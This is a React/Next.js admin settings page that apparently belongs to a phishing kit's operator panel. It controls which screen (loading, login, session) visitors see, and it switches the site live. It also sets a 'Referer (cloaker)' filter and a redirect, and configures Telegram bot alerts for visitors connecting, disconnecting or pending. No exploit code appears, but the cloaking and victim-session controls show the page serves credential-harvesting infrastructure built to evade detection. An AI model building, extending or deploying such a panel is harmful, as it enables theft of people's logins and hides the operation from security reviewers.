'use client'

import { Label } from '@/components/ui/label'
import * as React from 'react'
import { cn } from '@/lib/utils'
import { Button } from '@/components/ui/button'
import { Switch } from '@/components/ui/switch'
import { Check, ChevronsUpDown, Loader2, Save } from 'lucide-react'
import { toast as noti } from 'sonner'
import { io, Socket } from 'socket.io-client'
import { DefaultEventsMap } from 'socket.io'
import { FormState } from '@/app/forms'
import {
  Command,
  CommandEmpty,
  CommandGroup,
  CommandItem,
  CommandList
} from '@/components/ui/command'
import {
  Popover,
  PopoverContent,
  PopoverTrigger
} from '@/components/ui/popover'
import {
  Card,
  CardContent,
  CardDescription,
  CardHeader,
  CardTitle
} from '@/components/ui/card'
import { Input, PasswordInput } from './pw'

export type Settings = {
  startingMenu: FormState
  notifications: { con: boolean; dis: boolean; pending: boolean }
  bot: { token: string; id: string }
}

export type WebSettings = {
  live: boolean
  redirect: boolean
  redirectTo: string
  ref: boolean
  reffrom: string
}

const menuOptions = [
  { value: FormState.Loading, label: 'Loading' },
  { value: FormState.Login, label: 'Login' },
  { value: FormState.Session, label: 'Session' }
]

export default function Page () {
  const [loading, setLoading] = React.useState(true)
  const [webSettings, setWebSettings] = React.useState<WebSettings>({
    live: false,
    redirect: false,
    redirectTo: '',
    ref: false,
    reffrom: ''
  })
  const [settings, setSettings] = React.useState<Settings>({
    startingMenu: FormState.Loading,
    notifications: { con: false, dis: false, pending: true },
    bot: {
      token: '',
      id: ''
    }
  })
  const [socket, setSocket] = React.useState<Socket<
    DefaultEventsMap,
    DefaultEventsMap
  > | null>(null)
  const [open, setOpen] = React.useState(false)

  React.useEffect(() => {
    async function fetchLiveStatus () {
      const response = await fetch('/api/status')
      const data = await response.json()
      console.log(data)
      setWebSettings(data)
      setLoading(false)
    }
    fetchLiveStatus()
  }, [])

  React.useEffect(() => {
    if (!socket) {
      const socketUrl =
        process.env.NEXT_PUBLIC_SOCKET_URL || 'http://localhost:8080'
      const newSocket = io(`${socketUrl}/admin`)
      setSocket(newSocket)

      newSocket.on('settings', (settings: Settings) => {
        console.log('received:', settings)
        setSettings(settings)
      })
    }
  }, [])

  const saveSettings = async (
    isL: boolean = webSettings.live,
    redi: boolean = webSettings.redirect,
    redito: string = webSettings.redirectTo,
    ref: boolean = webSettings.ref,
    refFrom: string = webSettings.reffrom
  ) => {
    const options: WebSettings = {
      live: isL,
      redirect: redi,
      redirectTo: redito,
      ref: ref,
      reffrom: refFrom
    }

    setWebSettings(options)

    console.log(options)
    const response = await fetch('/api/status', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(options)
    })

    if (response.ok) {
      noti('Success!', {
        description: `Successfully updated settings.`
      })
    } else {
      noti('Error!', {
        description: `Failed to update the settings.`
      })
    }
  }

  const handleMenuChange = (value: FormState) => {
    setSettings(prev => {
      const updatedSettings = { ...prev, startingMenu: value }
      socket?.emit('setSettings', updatedSettings)
      return updatedSettings
    })

    noti('Success!', {
      description: `Starting menu set to ${
        menuOptions.find(option => option.value === value)?.label
      }.`
    })
  }

  const updateWebVal = (key: keyof WebSettings, n: string) => {
    setWebSettings(prev => {
      const updatedSettings = {
        ...prev,
        [key]: n
      }

      return updatedSettings
    })
  }

  const updateVal = (n: string, key: keyof Settings['bot']) => {
    setSettings(prev => {
      const updatedSettings = {
        ...prev,
        bot: {
          ...prev.bot,
          [key]: n
        }
      }

      console.log(updatedSettings)

      return updatedSettings
    })
  }

  const updateNotificationSetting = (
    event: React.MouseEvent<HTMLButtonElement, MouseEvent>,
    key: keyof Settings['notifications']
  ) => {
    event.preventDefault()
    event.stopPropagation()

    setSettings(prev => {
      const updatedSettings = {
        ...prev,
        notifications: {
          ...prev.notifications,
          [key]: !prev.notifications[key]
        }
      }

      socket?.emit('setSettings', updatedSettings)
      console.log(updatedSettings)

      return updatedSettings
    })

    noti('Success!', {
      description: `${
        key.charAt(0).toUpperCase() + key.slice(1)
      } notifications updated.`
    })
  }

  return (
    <div className='flex flex-col flex-grow w-full overflow-hidden'>
      <div className='relative flex flex-grow'>
        {loading ? (
          <div className='absolute z-50 top-[35%] left-[50%] -translate-x-[50%]'>
            <Loader2 className='animate-spin w-10 h-10 text-white' />
          </div>
        ) : (
          <></>
        )}
        <div
          className={cn(
            loading ? 'blur-xl' : '',
            'relative p-4 flex flex-col gap-5 flex-grow  items-center pt-10'
          )}
        >
          <Card className='w-full'>
            <CardHeader>
              <CardTitle>Page settings</CardTitle>
              <CardDescription>
                Adjust some settings for your page.
              </CardDescription>
            </CardHeader>
            <CardContent>
              <div className='flex flex-col gap-5'>
                <div className='flex flex-col gap-2'>
                  <Label>Starting menu</Label>
                  <Popover open={open} onOpenChange={setOpen}>
                    <PopoverTrigger asChild>
                      <Button
                        variant='outline'
                        role='combobox'
                        aria-expanded={open}
                        className='w-[240px] justify-between border-border'
                      >
                        {menuOptions.find(
                          option => option.value === settings.startingMenu
                        )?.label || 'Select menu...'}
                        <ChevronsUpDown className='opacity-50' />
                      </Button>
                    </PopoverTrigger>
                    <PopoverContent align={'start'} className='w-[240px] p-0'>
                      <Command>
                        <CommandList>
                          <CommandEmpty>No menu found.</CommandEmpty>
                          <CommandGroup>
                            {menuOptions.map(option => (
                              <CommandItem
                                key={option.value}
                                value={option.value}
                                onSelect={() => {
                                  console.log('Clicked:', option)
                                  handleMenuChange(option.value)
                                  setOpen(false)
                                }}
                              >
                                {option.label}
                                <Check
                                  className={cn(
                                    'ml-auto w-4 h-4',
                                    settings.startingMenu === option.value
                                      ? 'opacity-100'
                                      : 'opacity-0'
                                  )}
                                />
                              </CommandItem>
                            ))}
                          </CommandGroup>
                        </CommandList>
                      </Command>
                    </PopoverContent>
                  </Popover>
                </div>
                <div className='flex items-center space-x-2'>
                  <Switch
                    id='website-live'
                    checked={webSettings.live}
                    onClick={async () => {
                      await saveSettings(!webSettings.live)
                    }}
                  />
                  <Label htmlFor='website-live'>Website live</Label>
                </div>

                {/*Ref */}
                <div className='flex items-center space-x-2'>
                  <Switch
                    id='ref'
                    checked={webSettings.ref}
                    onClick={async () => {
                      await saveSettings(
                        true,
                        webSettings.redirect,
                        webSettings.redirectTo,
                        !webSettings.ref
                      )
                    }}
                    disabled={!webSettings.live}
                  />
                  <Label htmlFor='redi'>Referer (cloaker)</Label>
                </div>
                <div className='flex items-center space-x-2 max-w-[700px]'>
                  <Input
                    autoComplete='false'
                    disabled={!webSettings.live}
                    value={webSettings.reffrom}
                    onChange={e => updateWebVal('reffrom', e.target.value)}
                  />
                  <Button
                    onClick={async () => {
                      await saveSettings()
                    }}
                    disabled={!webSettings.live}
                    className='bg-foreground h-10 w-10'
                  >
                    <Save />
                  </Button>
                </div>

                {/*Redi */}
                <div className='flex items-center space-x-2'>
                  <Switch
                    id='redi'
                    disabled={webSettings.live}
                    checked={webSettings.redirect}
                    onClick={async () => {
                      await saveSettings(false, !webSettings.redirect)
                    }}
                  />
                  <Label htmlFor='redi'>Redirect</Label>
                </div>
                <div className='flex items-center space-x-2 max-w-[700px]'>
                  <Input
                    autoComplete='false'
                    value={webSettings.redirectTo}
                    disabled={webSettings.live}
                    onChange={e => updateWebVal('redirectTo', e.target.value)}
                  />
                  <Button
                    onClick={async () => {
                      await saveSettings()
                    }}
                    disabled={webSettings.live}
                    className='bg-foreground h-10 w-10'
                  >
                    <Save />
                  </Button>
                </div>
              </div>
            </CardContent>
          </Card>
          <Card className='w-full'>
            <CardHeader>
              <CardTitle>Notifications settings</CardTitle>
              <CardDescription>
                Select what do you want to hear exactly.
              </CardDescription>
            </CardHeader>
            <CardContent>
              <div className='flex flex-col gap-5'>
                <div className='flex items-center space-x-2'>
                  <Switch
                    id='con'
                    checked={settings.notifications.con}
                    onClick={e => updateNotificationSetting(e, 'con')}
                  />
                  <Label htmlFor='con'>On connect</Label>
                </div>
                <div className='flex items-center space-x-2'>
                  <Switch
                    id='dis'
                    checked={settings.notifications.dis}
                    onClick={e => updateNotificationSetting(e, 'dis')}
                  />
                  <Label htmlFor='dis'>On disconnect</Label>
                </div>
                <div className='flex items-center space-x-2'>
                  <Switch
                    id='pending'
                    checked={settings.notifications.pending}
                    onClick={e => updateNotificationSetting(e, 'pending')}
                  />
                  <Label htmlFor='pending'>On pending</Label>
                </div>
              </div>
            </CardContent>
          </Card>
          <Card className='w-full'>
            <CardHeader>
              <CardTitle>Bot settings</CardTitle>
              <CardDescription>Set up your telegram bot.</CardDescription>
            </CardHeader>
            <CardContent>
              <div className='flex flex-col gap-5'>
                <div className='flex flex-col space-y-2 max-w-[700px] '>
                  <Label htmlFor='token'>Bot token</Label>
                  <div className='flex items-center space-x-2'>
                    <PasswordInput
                      id='token'
                      className='font-mono w-full'
                      autoComplete='false'
                      value={settings.bot.token}
                      onChange={e => {
                        updateVal(e.target.value, 'token')
                      }}
                    />
                    <Button
                      onClick={() => {
                        socket?.emit('setSettings', settings)
                      }}
                      className='bg-foreground h-10 w-10'
                    >
                      <Save />
                    </Button>
                  </div>
                </div>
                <div className='flex flex-col space-y-2 max-w-[700px]'>
                  <Label htmlFor='token'>Channel Id</Label>
                  <div className='flex items-center space-x-2 max-w-[700px]'>
                    <div className='relative group'>
                      <Input
                        className='font-mono text-transparent caret-black transition-all duration-200 group-hover:text-white'
                        autoComplete='false'
                        onChange={e => updateVal(e.target.value, 'id')}
                        value={settings.bot.id}
                      />
                      <div className='font-mono absolute inset-0 flex items-center px-3 md:text-sm blur-[7px] group-hover:hidden transition-all duration-200 pointer-events-none'>
                        {settings.bot.id}
                      </div>
                    </div>
                    <Button
                      onClick={() => {
                        socket?.emit('setSettings', settings)
                      }}
                      className='bg-foreground h-10 w-10'
                    >
                      <Save />
                    </Button>
                  </div>
                </div>
              </div>
            </CardContent>
          </Card>
        </div>
      </div>
    </div>
  )
}
